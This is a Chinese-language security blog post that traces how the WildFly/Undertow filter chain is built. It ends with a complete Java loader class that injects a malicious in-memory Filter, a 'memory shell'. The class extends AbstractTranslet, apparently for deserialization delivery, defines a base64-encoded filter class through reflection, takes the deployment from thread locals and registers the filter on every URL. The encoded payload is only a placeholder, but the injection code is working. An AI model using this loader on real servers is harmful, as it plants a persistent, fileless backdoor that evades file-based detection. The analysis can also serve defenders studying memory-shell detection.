WildFly,原名 JBoss AS (JBoss Application Server) 或者 JBoss,是一套应用程序服务器,属于开源的企业级 Java 中间件软件,用于实现基于 SOA 架构的 Web 应用和服务。 WildFly 包含一组可独立运行的软件。
本文主要分析该中间的Filter内存马,以及如何编写该中间的Filter内存马
wildfly 26.1.3
创建HelloFilter
在Servlet打下断点,查看调用栈
在调用栈中寻找第一次doFilter()出现的地方,io.undertow.servlet.handlers.FilterHandler
中第一次调用了doFilter
,关注fiterChain是如何生成的。
new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
通过该函数生成fiterChain,其中传入的关键参数是filters
,关注filters
filters
通过this.filters.get(dispatcher)
生成的。关注this.filters
是如何生成的。
this.filters
是通过构造方法传入一个形参为filters的参数生成的,在此打个断点。看调用栈,关注哪里调用了该构造方法。
io.undertow.servlet.handlers.ServletPathMatches::createHandler
这里实例化了个FilterHandler。在看到这里形参filters
的位置传入的是noExtension
,noExtension
来自于
createHandler
函数的形参List<ManagedFilter>> noExtension
,关注哪里调用了createHandler()
在io.undertow.servlet.handlers.ServletPathMatches::setupServletChains
中调用了creatHandler
,分析setupServletChains
在setupServletChains
中的addToListMap(noExtension, filterMapping.getDispatcher(), filter);
,会生成ListMap。List中的元素形入 <filterMapping.getDispatcher()
,filter
>,关注filterMapping
和filter
是怎么生成的。
往上跟会看到如下代码。分别分析filterMapping
和 filter
是如何生成的。
filterMapping
先分析filterMapping
,可以看出filterMapping
其实是来自deploymentInfo
,
继续往上看的话,deploymentInfo
是通过this.deployment.getDeploymentInfo()
获取的。可以理解为filterMapping
来自于deploymentInfo
,而deploymentInfo
来自于deployment
。
回过头来跟进看一下deploymentInfo.getFilterMappings()
。getFilterMappings
该函数从deploymentInfo
中获取其filterUrlMappings(ArrayList类型)
其元素类型为FilterMapingInfo
。
FilterMapingInfo
如下。
deploymentInfo
中有insertFilterUrlMapping
方法,用于往filterUrlMappings
中添加FilterMappingInfo
类型的元素。
filter
通过filters.getManagedFilter(filterMapping.getFilterName());
获取的。
而这里的filters
来自于this.deployment.getFilters()
,这里需注意一个点,this.deployment.getFilters()
返回是一个ManagedFilters
类型的对象。
因此filters.getManagedFilter(filterMapping.getFilterName())
实际可以理解为this.deployment.getFilters().getManagedFilter(filterMapping.getFilterName())
跟进getManagedFilter
方法,io.undertow.servlet.core.ManagedFilters::getManagedFilter
该方法从managedFilterMap
中获取一个ManagedFilter
类型的对象
而在ManagedFilters
中还有另一个方法addFilter
,往managedFilterMap
中添加数据,其参数为FilterInfo
类型的变量。
综上所述,不管是filter
还是filterMapping
,都得从deployment
出发,关注deployment
是如何生成的
io.undertow.servlet.handlers.ServletPathMatches
的构造方法中传入deployment
,打下断点,重启服务器。观察调用栈
跟到io.undertow.servlet.core.DeploymentImpl
DeploymentImpl
的构造方法中调用了new ServletPathMatches
,同时构造方法还是传入参数deploymentInfo
。关注调用栈。
这里实例化了一个DeploymentImpl
对象,传入deploymentInfo
,deploymentInfo
来自于this.originalDeployment.clone()
跟进clone()
,这里通过addFilter()
,传入FilterInfo
类型的数据,那么可以理解为获取到DeploymentInfo
后,可以通过addFilter(),添加FilterInfo
数据。
跟进FilterInfo
,可以通过new FilterInfo(FilterName,evilFilter)
的形式实例化一个FilterInfo
思路
1、获取到deployment 2、获取到deploymentInfo 3、实例化一个新的FilterInfo,即FilterInfo filterinfo = new FilterInfo(filternme,filter) 4、deploymentinfo.addFilter(filterinfo) 5、deploymentinfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST) 6、deployment.getFilters().addFilter(filterinfo)
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import io.undertow.servlet.api.Deployment; import io.undertow.servlet.api.DeploymentInfo; import io.undertow.servlet.api.FilterInfo; import io.undertow.servlet.handlers.ServletRequestContext; import io.undertow.servlet.spec.HttpServletResponseImpl; import io.undertow.servlet.spec.ServletContextImpl; import sun.misc.BASE64Decoder; import javax.servlet.DispatcherType; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; public class WildflyFilterLoader extends AbstractTranslet { private static ServletContextImpl servletContext; private static HttpServletResponseImpl response; private static DeploymentInfo deploymentInfo; private static Deployment deployment; private static String filterName = "HFilter"; private static String filterClassName = "com.server.HFilter"; private static String url = "/*"; private static synchronized void LoadFilter() throws Exception { try{ Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); }catch (Exception e){ Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); a.setAccessible(true); byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64"); a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length); } } //获取上下文 public static synchronized void GetWebContent() throws Exception { try{ try{ Thread thread = Thread.currentThread(); Object threadLocals = GetField(thread, "threadLocals"); Object table = GetField(threadLocals, "table"); for(int i = 0; i<= Array.getLength(table)-1; i++){ try{ Object object = Array.get(table, i); Object value = GetField(object, "value"); if (value.getClass().getName().contains("ServletRequestContext")){ ServletRequestContext servletRequestContext = (ServletRequestContext) value; response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse"); servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext"); deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo"); deployment = (Deployment) GetField(servletContext, "deployment"); break; } }catch (Exception e){} } }catch (Exception e){ } }catch (Exception e){ e.printStackTrace(); } } private static synchronized void InjectFilter() throws Exception { try{ if(deployment != null && deploymentInfo != null){ Class characterEncodingHFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName); FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter); deploymentInfo.addFilter(filterInfo); deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST); deployment.getFilters().addFilter(filterInfo); response.addHeader("Status","Work"); } }catch (Exception e){ e.printStackTrace(); } } static { new WildflyFilterLoader(); } public WildflyFilterLoader(){ try{ LoadFilter(); GetWebContent(); InjectFilter(); }catch (Exception e){ } } private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }